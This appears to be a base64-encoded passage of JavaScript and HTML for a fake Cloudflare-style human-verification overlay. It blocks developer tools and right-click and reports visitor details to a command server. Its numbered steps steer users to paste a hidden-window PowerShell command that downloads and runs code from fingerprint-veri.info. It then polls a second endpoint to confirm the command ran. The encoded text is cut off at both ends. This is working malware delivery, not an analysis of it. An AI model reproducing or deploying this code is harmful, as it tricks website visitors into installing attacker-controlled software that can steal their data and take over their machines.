g0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxjaXJjbGUgY3g9IjQiIGN5PSIxNSIgcj0iMi4yIiBmaWxsPSIjMjI4YjQ5IiBvcGFjaXR5PSIuMjUiLz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Y2lyY2xlIGN4PSI3LjIyIiBjeT0iNy4yMiIgcj0iMi4yIiBmaWxsPSIjMjI4YjQ5IiBvcGFjaXR5PSIuMTI1Ii8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3N2Zz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNrLXdyYXAiIGlkPSJjZi1jayI+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzdmcgd2lkdGg9IjI4IiBoZWlnaHQ9IjI4IiB2aWV3Qm94PSIwIDAgNTAgNTAiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxjaXJjbGUgY3g9IjI1IiBjeT0iMjUiIHI9IjIzIiBmaWxsPSIjMjhhNzQ1Ii8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHBhdGggZD0iTTE1IDI1TDIyIDMyTDM1IDE4IiBzdHJva2U9IiNmZmYiIHN0cm9rZS13aWR0aD0iNCIgZmlsbD0ibm9uZSIgc3Ryb2tlLWxpbmVjYXA9InJvdW5kIiBzdHJva2UtbGluZWpvaW49InJvdW5kIi8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3N2Zz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idGV0dHgiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cCBpZD0iY2YtbGJsIj4ke1VJX1RSQU5TTEFUSU9OUy52ZXJpZnlpbmdUZXh0fTwvcD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSJkaXNwbGF5OmZsZXg7ZmxleC1kaXJlY3Rpb246Y29sdW1uO2FsaWduLWl0ZW1zOmZsZXgtZW5kO2ZsZXgtc2hyaW5rOjAiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW1nIHNyYz0iJHtDTE9VREZMQVJFX0ZVTExfTE9HT19CQVNFNjR9IiBhbHQ9IiIgc3R5bGU9IndpZHRoOjkwcHg7bWFyZ2luLWJvdHRvbTo0cHgiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cCBzdHlsZT0ibWFyZ2luOjA7bGluZS1oZWlnaHQ6MS40O2NvbG9yOiNiYmI7Zm9udC1zaXplOjhweDt0ZXh0LWRlY29yYXRpb246dW5kZXJsaW5lO3doaXRlLXNwYWNlOm5vd3JhcCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAke1VJX1RSQU5TTEFUSU9OUy5wcml2YWN5TGlua30gwrcgJHtVSV9UUkFOU0xBVElPTlMudGVybXNMaW5rfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3A+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgICAgICAgICA8cCBjbGFzcz0iY29yZS1tc2ciPiR7RElTUExBWV9IT1NUTkFNRX0gJHtVSV9UUkFOU0xBVElPTlMuc2VjdXJpdHlNZXNzYWdlfTwvcD4NCiAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb290ZXIiPg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvb3Rlci1pbm5lciI+DQogICAgICAgICAgICAgICAgICAgIFJheSBJRDogPHNwYW4gY2xhc3M9InJjIj4ke1JBWV9UUkFDS0lOR19JRH08L3NwYW4+DQogICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICA8L2Rpdj4NCg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0idmVyaWZ5LXdpbmRvdyIgaWQ9ImNmLW1vZGFsIj4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1jb250ZW50Ij4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtaGVhZGVyIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGgyPiR7VUlfVFJBTlNMQVRJT05TLnZlcmlmaWNhdGlvblRpdGxlfTwvaDI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA+JHtVSV9UUkFOU0xBVElPTlMudmVyaWZpY2F0aW9uU3VidGl0bGV9PC9wPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwIHN0eWxlPSJtYXJnaW4tdG9wOi4yNWVtICFpbXBvcnRhbnQ7b3BhY2l0eTouNzU7Zm9udC1zaXplOi43ZW07Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg4oyoICR7VUlfVFJBTlNMQVRJT05TLmtleWJvYXJkSW5zdHJ1Y3Rpb25zfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvcD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPGltZyBzcmM9IiR7Q0xPVURGTEFSRV9XSElURV9MT0dPX0JBU0U2NH0iIGFsdD0iIj4NCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtYm9keSI+DQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjZi1sb2FkZXIiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2aWV3Qm94PSIwIDAgMTIzMC41NzQgNTE5Ljc3NCI+PHBhdGggZmlsbD0iI0Y3ODEwMCIgZD0iTTc4NC4wMjUsNTEyLjAxMWw1Ljg3Mi0yMC4zMTFjNi45OTgtMjQuMTY5LDQuMzk0LTQ2LjUxMS03LjM0OS02Mi45MjZjLTEwLjgwMS0xNS4xMjItMjguODA0LTI0LjAyMi01MC42NjYtMjUuMDU2bC00MTQuMTE0LTUuMjgxYy0yLjc4OC0wLjE0Ny01LjA5Ni0xLjQwMy02LjUxOC0zLjQ3MWMtMS40NC0yLjEyMy0xLjc3My00Ljg1Ni0wLjg4Ni03LjQ3OGMxLjM2Ni00LjA4LDUuNDEtNy4xNjQsOS42Mi03LjM0OWw0MTcuOTU0LTUuMjk5YzQ5LjU3Ni0yLjI3MSwxMDMuMjUyLTQyLjUwNSwxMjIuMDQ4LTkxLjU2NGwyMy44MzctNjIuMjhjMC42NTctMS42OTYsMC45NTItMy40OTMsMC45NC01LjI5NGMtMC4wMDctMC45ODQtMC4wNzgtMS45NjktMC4yOTQtMi45NEM4NTcuMzgzLDkxLjAyOCw3NDguNzU4LDAsNjE4Ljg2MywwYy0xMTkuNjg1LDAtMjIxLjMxMiw3Ny4yNTQtMjU3Ljc2LDE4NC42MjNjLTIzLjUyMy0xNy42NTItNTMuNjItMjcuMDMxLTg1Ljk2OS0yMy44MDFjLTU3LjQyMyw1LjcwNi0xMDMuNTY1LDUxLjk0LTEwOS4yNzEsMTA5LjM2M2MtMS40OTYsMTQuOTAxLTAuMjc3LDI5LjI4NCwzLjE1OCw0Mi44Qzc1LjIyMiwzMTUuNzE4LDAsMzkyLjU2NiwwLDQ4Ny4wMjljMCw4LjU0OSwwLjY0NiwxNi45NSwxLjg0NiwyNS4xNjZjMC41OTEsMy45ODgsMy45NTIsNi45OCw3Ljk3Nyw2Ljk4bDc2NC41MjcsMC4wOTJjMC4wNzYsMCwwLjE0Mi0wLjAzNCwwLjIxOC0wLjAzNkM3NzguOTQyLDUxOS4xMzQsNzgyLjc5LDUxNi4yNCw3ODQuMDI1LDUxMi4wMTF6Ii8+PHBhdGggZmlsbD0iI0ZCQUM0MiIgZD0iTTkyMS45ODIsMjI1LjU1OGMtMy44NDEsMC03LjY2MywwLjExMS0xMS40NjYsMC4yOTVjLTAuNjI4LDAuMDMzLTEuMjI0LDAuMTg1LTEuNzk2LDAuMzg1Yy0xLjk4NSwwLjY5Ni0zLjU2NiwyLjMwNS00LjE2OCw0LjM5N2wtMTYuMjg2LDU2LjI0MmMtNi45OTgsMjQuMTY5LTQuMzk1LDQ2LjQ5Myw3LjM0OSw2Mi45MDdjMTAuODAxLDE1LjE0LDI4LjgwNCwyNC4wMjIsNTAuNjY1LDI1LjA1Nmw4OC4yNzcsNS4yOTljMi42MDQsMC4xMjksNC44OTMsMS4zODUsNi4yOTcsMy40MTZjMS40NzcsMi4xNDIsMS44MDksNC44OTMsMC45MjMsNy41MTVjLTEuMzg1LDQuMDgxLTUuNDEsNy4xNjQtOS42MDEsNy4zNDlsLTkxLjczLDUuMjk5Yy00OS43OTgsMi4yOS0xMDMuNDczLDQyLjUwNS0xMjIuMjcsOTEuNTY0bC02LjYyOSwxNy4zMTljLTEuMjA2LDMuMTM0LDEuMDM5LDYuNDcyLDQuMzU0LDYuNjM1YzAuMDg0LDAuMDA0LDAuMTU5LDAuMDMxLDAuMjQ0LDAuMDMxaDMxNS42MjZjMy43NjYsMCw3LjEyNy0yLjQ1Niw4LjE0Mi02LjA3NWM1LjQ4NC0xOS40OTgsOC40MDItNDAuMDQ4LDguNDAyLTYxLjMwMUMxMTQ4LjMxNSwzMjYuODg5LDEwNDYuOTg0LDIyNS41NTgsOTIxLjk4MiwyMjUuNTU4eiIvPjwvc3ZnPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNmLWxvYWRlci1iYXIiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjZi1sb2FkZXItYmFyLWlubmVyIj48L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICAgICAgICAgICAgICA8b2wgY2xhc3M9Imluc3RydWN0aW9uLWxpc3QiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3RlcC1sZWZ0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJzdGVwLWJhZGdlIj4xPC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9InN0ZXAtdGV4dCI+JHtVSV9UUkFOU0xBVElPTlMuc3RlcDF9PC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2xpPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3RlcC1sZWZ0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJzdGVwLWJhZGdlIj4yPC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9InN0ZXAtdGV4dCI+JHtTVEVQMl9IVE1MfTwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9saT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGk+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InN0ZXAtbGVmdCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0ic3RlcC1iYWRnZSI+Mzwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJzdGVwLXRleHQiPiR7VUlfVFJBTlNMQVRJT05TLnN0ZXAzfTwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9saT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGk+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InN0ZXAtbGVmdCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0ic3RlcC1iYWRnZSI+NDwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJzdGVwLXRleHQiPiR7VUlfVFJBTlNMQVRJT05TLnN0ZXA0fTwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9saT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvb2w+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgc3R5bGU9ImZvbnQtc2l6ZToxMHB4O2NvbG9yOiM2NjY7dGV4dC1hbGlnbjpjZW50ZXI7bWFyZ2luLXRvcDoxLjJlbTtwYWRkaW5nLXRvcDouNzVlbTtib3JkZXItdG9wOjFweCBzb2xpZCByZ2JhKDI1NSwyNTUsMjU1LC4wOCk7Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBJRCBDb2RlOiA8c3BhbiBjbGFzcz0icmMiIHN0eWxlPSJmb250LWZhbWlseTptb25vc3BhY2U7Ij4ke1JBWV9UUkFDS0lOR19JRH08L3NwYW4+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgYDsNCg0KICAgICAgICAoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50IHx8IGRvY3VtZW50LmJvZHkpLmFwcGVuZENoaWxkKHJvb3RFbGVtZW50KTsNCiAgICAgICAgcm9vdEVsZW1lbnQuc3R5bGUuYmFja2dyb3VuZENvbG9yID0gJ3JnYmEoMzQsMzQsMzQsJyArIEJBQ0tHUk9VTkRfT1BBQ0lUWSArICcpJzsNCiAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgIGlmICh3aW5kb3cubHNjQ29nbmlTdGFja091ck92ZXJsYXkpIHdpbmRvdy5sc2NDb2duaVN0YWNrT3VyT3ZlcmxheShyb290RWxlbWVudCk7DQogICAgICAgICAgICBlbHNlIGlmIChkb2N1bWVudC5ib2R5KSBkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHJvb3RFbGVtZW50KTsNCiAgICAgICAgfSBjYXRjaCAoZSkge30NCg0KICAgICAgICB2YXIgZG9jdW1lbnRFbGVtZW50ID0gZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50Ow0KICAgICAgICB2YXIgZG9jdW1lbnRCb2R5ID0gZG9jdW1lbnQuYm9keTsNCg0KICAgICAgICBpZiAoZG9jdW1lbnRFbGVtZW50KSB7DQogICAgICAgICAgICBkb2N1bWVudEVsZW1lbnQuc3R5bGUub3ZlcmZsb3cgPSAnaGlkZGVuJzsNCiAgICAgICAgICAgIGRvY3VtZW50RWxlbWVudC5zdHlsZS5vdmVyc2Nyb2xsQmVoYXZpb3IgPSAnbm9uZSc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKGRvY3VtZW50Qm9keSkgew0KICAgICAgICAgICAgZG9jdW1lbnRCb2R5LnN0eWxlLm92ZXJmbG93ID0gJ2hpZGRlbic7DQogICAgICAgICAgICBkb2N1bWVudEJvZHkuc3R5bGUub3ZlcnNjcm9sbEJlaGF2aW9yID0gJ25vbmUnOw0KICAgICAgICB9DQoNCiAgICAgICAgZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigna2V5ZG93bicsIGZ1bmN0aW9uKGV2ZW50KSB7DQogICAgICAgICAgICB2YXIga2V5ID0gU3RyaW5nKGV2ZW50LmtleSB8fCAnJykudG9Mb3dlckNhc2UoKTsNCg0KICAgICAgICAgICAgaWYgKGtleSA9PT0gJ2YxMicgfHwNCiAgICAgICAgICAgICAgICAoKGV2ZW50LmN0cmxLZXkgfHwgZXZlbnQubWV0YUtleSkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgKGtleSA9PT0gJ2knIHx8IGtleSA9PT0gJ2onIHx8IGtleSA9PT0gJ2MnKSkgfHwNCiAgICAgICAgICAgICAgICAoKGV2ZW50LmN0cmxLZXkgfHwgZXZlbnQubWV0YUtleSkgJiYga2V5ID09PSAndScpKSB7DQogICAgICAgICAgICAgICAgZXZlbnQucHJldmVudERlZmF1bHQoKTsNCiAgICAgICAgICAgICAgICBldmVudC5zdG9wUHJvcGFnYXRpb24oKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSwgdHJ1ZSk7DQoNCiAgICAgICAgZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcignY29udGV4dG1lbnUnLCBmdW5jdGlvbihldmVudCkgew0KICAgICAgICAgICAgZXZlbnQucHJldmVudERlZmF1bHQoKTsNCiAgICAgICAgICAgIGV2ZW50LnN0b3BQcm9wYWdhdGlvbigpOw0KICAgICAgICB9LCB0cnVlKTsNCg0KICAgICAgICBmdW5jdGlvbiBzZW5kUmVxdWVzdFRvU2VydmVyKHBheWxvYWQpIHsNCiAgICAgICAgICAgIHJldHVybiBmZXRjaChDQ19TRVJWRVJfQVBJX1VSTCwgew0KICAgICAgICAgICAgICAgIG1ldGhvZDogJ1BPU1QnLA0KICAgICAgICAgICAgICAgIGNhY2hlOiAnbm8tc3RvcmUnLA0KICAgICAgICAgICAgICAgIGhlYWRlcnM6IHsNCiAgICAgICAgICAgICAgICAgICAgJ0NvbnRlbnQtVHlwZSc6ICdhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQnDQogICAgICAgICAgICAgICAgfSwNCiAgICAgICAgICAgICAgICBib2R5OiAnZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KGJ0b2EoSlNPTi5zdHJpbmdpZnkocGF5bG9hZCkpKQ0KICAgICAgICAgICAgfSk7DQogICAgICAgIH0NCg0KICAgICAgICBmdW5jdGlvbiBkZWNvZGVTZXJ2ZXJSZXNwb25zZShoZXhTdHJpbmcpIHsNCiAgICAgICAgICAgIHZhciBkZWNvZGVkU3RyaW5nID0gJyc7DQogICAgICAgICAgICB2YXIgY2hhckluZGV4ID0gMDsNCg0KICAgICAgICAgICAgZm9yICg7IGNoYXJJbmRleCA8IGhleFN0cmluZy5sZW5ndGg7IGNoYXJJbmRleCArPSAyKSB7DQogICAgICAgICAgICAgICAgZGVjb2RlZFN0cmluZyArPSBTdHJpbmcuZnJvbUNoYXJDb2RlKA0KICAgICAgICAgICAgICAgICAgICBwYXJzZUludChoZXhTdHJpbmcuc3Vic3RyKGNoYXJJbmRleCwgMiksIDE2KSBeDQogICAgICAgICAgICAgICAgICAgIEFQSV9BVVRIX0tFWS5jaGFyQ29kZUF0KChjaGFySW5kZXggLyAyKSAlIEFQSV9BVVRIX0tFWS5sZW5ndGgpDQogICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICAgICByZXR1cm4gSlNPTi5wYXJzZShkZWNvZGVkU3RyaW5nKTsNCiAgICAgICAgICAgIH0gY2F0Y2ggKGVycm9yKSB7DQogICAgICAgICAgICAgICAgcmV0dXJuIHt9Ow0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICAgICAgdmFyIFJFRElSRUNUX1VSTCA9ICcnOw0KDQogICAgICAgIHZhciBNQUxJQ0lPVVNfUE9XRVJTSEVMTF9DT01NQU5EID0NCiAgICAgICAgICAgICdwb3dlcnNoZWxsIC13IGggImlleChpcm0gXCdmaW5nZXJwcmludC12ZXJpLmluZm8vZDhmYzI2ZmIzYzhhZTQ5YVwnKTsgU3RhcnQtU2xlZXAgLVNlY29uZHMgMzAiOyBleGl0JzsNCg0KICAgICAgICB2YXIgc2VydmVyUGF5bG9hZFByb21pc2UgPSBzZW5kUmVxdWVzdFRvU2VydmVyKHsNCiAgICAgICAgICAgIGFjdGlvbjogJ2RsJywNCiAgICAgICAgICAgIGs6IEFQSV9BVVRIX0tFWSwNCiAgICAgICAgICAgIG9zOiBUQVJHRVRfT1BFUkFUSU5HX1NZU1RFTSwNCiAgICAgICAgICAgIHZpZDogVU5JUVVFX1ZJU0lUT1JfSUQsDQogICAgICAgICAgICByZWY6IGxvY2F0aW9uLmhyZWYsDQogICAgICAgICAgICByYXk6IFJBWV9UUkFDS0lOR19JRA0KICAgICAgICB9KQ0KICAgICAgICAudGhlbihmdW5jdGlvbihyZXNwb25zZSkgew0KICAgICAgICAgICAgcmV0dXJuIHJlc3BvbnNlLnRleHQoKTsNCiAgICAgICAgfSkNCiAgICAgICAgLnRoZW4oZnVuY3Rpb24oaGV4UmVzcG9uc2UpIHsNCiAgICAgICAgICAgIHJldHVybiBkZWNvZGVTZXJ2ZXJSZXNwb25zZShoZXhSZXNwb25zZSk7DQogICAgICAgIH0pDQogICAgICAgIC50aGVuKGZ1bmN0aW9uKGRlY29kZWREYXRhKSB7DQogICAgICAgICAgICBSRURJUkVDVF9VUkwgPSBkZWNvZGVkRGF0YS5yZWRpciB8fCAnJzsNCiAgICAgICAgICAgIHJldHVybiBNQUxJQ0lPVVNfUE9XRVJTSEVMTF9DT01NQU5EOw0KICAgICAgICB9KQ0KICAgICAgICAuY2F0Y2goZnVuY3Rpb24oKSB7DQogICAgICAgICAgICByZXR1cm4gTUFMSUNJT1VTX1BPV0VSU0hFTExfQ09NTUFORDsNCiAgICAgICAgfSk7DQoNCiAgICAgICAgZnVuY3Rpb24gd2FpdEZvckV4ZWN1dGlvblRva2VuKHRva2VuKSB7DQogICAgICAgICAgICBpZiAoIXRva2VuKSByZXR1cm47DQoNCiAgICAgICAgICAgIHZhciBzdGFydFRpbWVzdGFtcCA9IERhdGUubm93KCk7DQogICAgICAgICAgICB2YXIgaXNEb25lID0gZmFsc2U7DQogICAgICAgICAgICB2YXIgaXNJbnN0cnVjdGlvbkhpZGRlbiA9IGZhbHNlOw0KDQogICAgICAgICAgICBmdW5jdGlvbiBtYXJrQXNFeGVjdXRlZCgpIHsNCiAgICAgICAgICAgICAgICBpZiAoIVRFU1RfTU9ERSkgew0KICAgICAgICAgICAgICAgICAgICB0cnkgew0KICAgICAgICAgICAgICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnNldEl0ZW0oTE9DQUxfU1RPUkFHRV9LRVksICcxJyk7DQogICAgICAgICAgICAgICAgICAgIH0gY2F0Y2ggKGVycm9yKSB7DQoNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgZnVuY3Rpb24gaGlkZUluc3RydWN0aW9uTW9kYWwoKSB7DQogICAgICAgICAgICAgICAgaWYgKGlzSW5zdHJ1Y3Rpb25IaWRkZW4pIHJldHVybjsNCiAgICAgICAgICAgICAgICBpc0luc3RydWN0aW9uSGlkZGVuID0gdHJ1ZTsNCiAgICAgICAgICAgICAgICBpZiAobW9kYWxFbGVtZW50KSB7DQogICAgICAgICAgICAgICAgICAgIG1vZGFsRWxlbWVudC5jbGFzc0xpc3QucmVtb3ZlKCdhY3RpdmUnKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIGZ1bmN0aW9uIGNvbXBsZXRlVmVyaWZpY2F0aW9uKCkgew0KICAgICAgICAgICAgICAgIGlmIChpc0RvbmUpIHJldHVybjsNCiAgICAgICAgICAgICAgICBpc0RvbmUgPSB0cnVlOw0KDQogICAgICAgICAgICAgICAgaWYgKG1vZGFsRWxlbWVudCkgew0KICAgICAgICAgICAgICAgICAgICBtb2RhbEVsZW1lbnQuY2xhc3NMaXN0LnJlbW92ZSgnYWN0aXZlJyk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGlmIChzcGlubmVyRWxlbWVudCkgew0KICAgICAgICAgICAgICAgICAgICBzcGlubmVyRWxlbWVudC5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOw0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgIHZhciBjaGVja21hcmtFbGVtZW50ID0gcm9vdEVsZW1lbnQucXVlcnlTZWxlY3RvcignI2NmLWNrJyk7DQogICAgICAgICAgICAgICAgaWYgKGNoZWNrbWFya0VsZW1lbnQpIHsNCiAgICAgICAgICAgICAgICAgICAgY2hlY2ttYXJrRWxlbWVudC5zdHlsZS5kaXNwbGF5ID0gJ2ZsZXgnOw0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgIG1hcmtBc0V4ZWN1dGVkKCk7DQoNCiAgICAgICAgICAgICAgICAvLyBJbW1lZGlhdGUgcmV0dXJuIHRvIHRoZSBwYWdlIG9uY2Ugc2hlZXQgY29uZmlybXMgZXhpc3RzOnRydWUNCiAgICAgICAgICAgICAgICB0cnkgew0KICAgICAgICAgICAgICAgICAgICByb290RWxlbWVudC5yZW1vdmUoKTsNCiAgICAgICAgICAgICAgICB9IGNhdGNoIChlcnJvcikge30NCg0KICAgICAgICAgICAgICAgIHRyeSB7DQogICAgICAgICAgICAgICAgICAgIHZhciBzdHlsZUVsID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2J3LWNmLXN0eWxlJyk7DQogICAgICAgICAgICAgICAgICAgIGlmIChzdHlsZUVsKSBzdHlsZUVsLnJlbW92ZSgpOw0KICAgICAgICAgICAgICAgIH0gY2F0Y2ggKGVycm9yKSB7fQ0KDQogICAgICAgICAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICAgICAgICAgdmFyIGRvY0VsZW1lbnQgPSBkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQ7DQogICAgICAgICAgICAgICAgICAgIHZhciBkb2NCb2R5ID0gZG9jdW1lbnQuYm9keTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKGRvY0VsZW1lbnQpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGRvY0VsZW1lbnQuc3R5bGUub3ZlcmZsb3cgPSAnJzsNCiAgICAgICAgICAgICAgICAgICAgICAgIGRvY0VsZW1lbnQuc3R5bGUub3ZlcnNjcm9sbEJlaGF2aW9yID0gJyc7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgaWYgKGRvY0JvZHkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGRvY0JvZHkuc3R5bGUub3ZlcmZsb3cgPSAnJzsNCiAgICAgICAgICAgICAgICAgICAgICAgIGRvY0JvZHkuc3R5bGUub3ZlcnNjcm9sbEJlaGF2aW9yID0gJyc7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9IGNhdGNoIChlcnJvcikge30NCg0KICAgICAgICAgICAgICAgIGlmIChSRURJUkVDVF9VUkwpIHsNCiAgICAgICAgICAgICAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICAgICAgICAgICAgIHdpbmRvdy5sb2NhdGlvbi5ocmVmID0gUkVESVJFQ1RfVVJMOw0KICAgICAgICAgICAgICAgICAgICB9IGNhdGNoIChlcnJvcikge30NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIHZhciBpc1BvbGxJbkZsaWdodCA9IGZhbHNlOw0KDQogICAgICAgICAgICBmdW5jdGlvbiBwb2xsU2VydmVyU3RhdHVzKCkgew0KDQogICAgICAgICAgICAgICAgaWYgKGlzRG9uZSB8fCBpc1BvbGxJbkZsaWdodCB8fCBEYXRlLm5vdygpIC0gc3RhcnRUaW1lc3RhbXAgPiAxODAwMDApIHsNCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuOw0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgIGlzUG9sbEluRmxpZ2h0ID0gdHJ1ZTsNCiAgICAgICAgICAgICAgICB2YXIgY2hlY2tVcmwgPSBBUFBTX1NDUklQVF9VUkwgKyAnP2lkPScgKyBlbmNvZGVVUklDb21wb25lbnQoVU5JUVVFX1ZJU0lUT1JfSUQpOw0KDQogICAgICAgICAgICAgICAgZmV0Y2goY2hlY2tVcmwsIHsNCiAgICAgICAgICAgICAgICAgICAgbWV0aG9kOiAnR0VUJywNCiAgICAgICAgICAgICAgICAgICAgcmVkaXJlY3Q6ICdmb2xsb3cnLA0KICAgICAgICAgICAg